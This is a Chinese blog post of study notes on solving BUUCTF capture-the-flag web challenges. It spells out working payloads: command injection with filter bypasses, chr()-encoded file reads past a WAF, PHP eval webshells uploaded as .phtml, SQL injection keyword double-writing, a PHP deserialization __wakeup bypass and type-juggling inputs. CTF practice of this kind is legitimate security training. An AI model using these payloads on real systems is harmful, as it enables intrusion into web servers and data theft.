BUUCTF Web题基本知识点和解题思路(1)

BUUCTF Web题基本知识点和解题思路(1)

  1. url里出现了类似于/?ip=这样的参数,可以首先尝试命令注入,如?ip=127.0.0.1, ?ip=127.0.0.1;ls, ?ip=127.0.0.1;cat flag.php,通过执行注入命令获取到flag的信息。注意:如果网站对空格进行了过滤,则可以使用其他方法进行绕过,如拼接绕过:?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
  2. 命令注入127.0.0.1;ls,如果发现当前目录没有flag文件时,可以去上级目录查看,一步步的深入
  3. 遇到有WAF的页面,可以尝试构造参数绕过,如? num=phpinfo(),注意:?和num之间有空格(注意:Safari浏览器可能会过滤空格,将空格进行url编码为%20即可;如果“/”被过滤了,可以使用chr(47)来绕过,进行目录读取:如?%20num=var_dump(scandir(chr(47))),接着在进行文件内容的读取:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
  4. 题目中如果遇到了类似于一句话木马的语句如eval($_POST[“Syc”]);,可以先尝试使用蚁剑AntSword进行连接,连接密码即为Syc,在网站的目录中查找flag文件
  5. 当一个网站说有备份网址时,可以先尝试经常使用的文件名,如www.zip,在尝试无果之后,可以使用dirsearch脚本进行目录扫描,使用方式:./dirsearch.py -u 指定url -e php。
  6. php序列化和反序列化问题,先序列化才能反序列化,可以根据php的源代码对其进行序列化,首先要根据class中的参数,创建一个对象,然后在通过serialize()函数对其进行序列化。在完成序列化之后,更改字符串中的对象个数(表示属性的个数要大于真实属性的个数),来绕过wakeup()函数。注意:由于在php代码中username和password都是私有变量,因此要在字符串中的类名前后,也就是Name前后加上%00。最后,在得到最终的反序列化字符串之后,在url的最后加上 /?select=序列化的内容,如果执行后没有页面显示,建议再手输一遍。实现序列化代码类似于如下所示:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyesyes';
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
>
  1. SQL注入的问题,当尝试了万能密码和常用的SQL注入语句时,可以尝试双写,如:oorr, ununionion。语句类似于:1’ ununionion selselectect 1,2,database()#
  2. 遇到文件上传漏洞的题目,可以先尝试更改文件名,如果常见的文件名不行的话,可以改为.phtml后缀。之后,便是尝试一句话木马,如<?php @eval($_POST["shell"]); ?>, 通过burpsuite拦截抓包后上传。上传失败的话,根据返回信息来判断,可能是对php的内容进行了过滤,可以将之前的代码改为<script language="php">eval($_POST["shell"]);</script>,然后继续上传。上传成功之后,可以用蚁剑进行连接,猜测上传路径位upload,即/upload/1.phtml
  3. backup备份问题,首先尝试index.php.bak
  4. 审计php代码,可以发现要传递的两个参数为money和password,password要等于404,但是不能为数字,可以尝试数字字母结合的方式绕过(由于是弱类型过滤),如password=404a。如果POST中的User值跟题目有关的话,可以改为1。通过代码,money参数是有长度限制,可以用科学技术法的方式进行绕过,如money=1e9。最终payload为:password=404a&money=1e9。注意:1. 如果money的长度太长,可以猜测为strcmp()函数,直接money[]=1;2. POST请求时,一定要加上Content-Type: application/x-www-form-urlencoded,否则不会有返回消息
  • 4
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值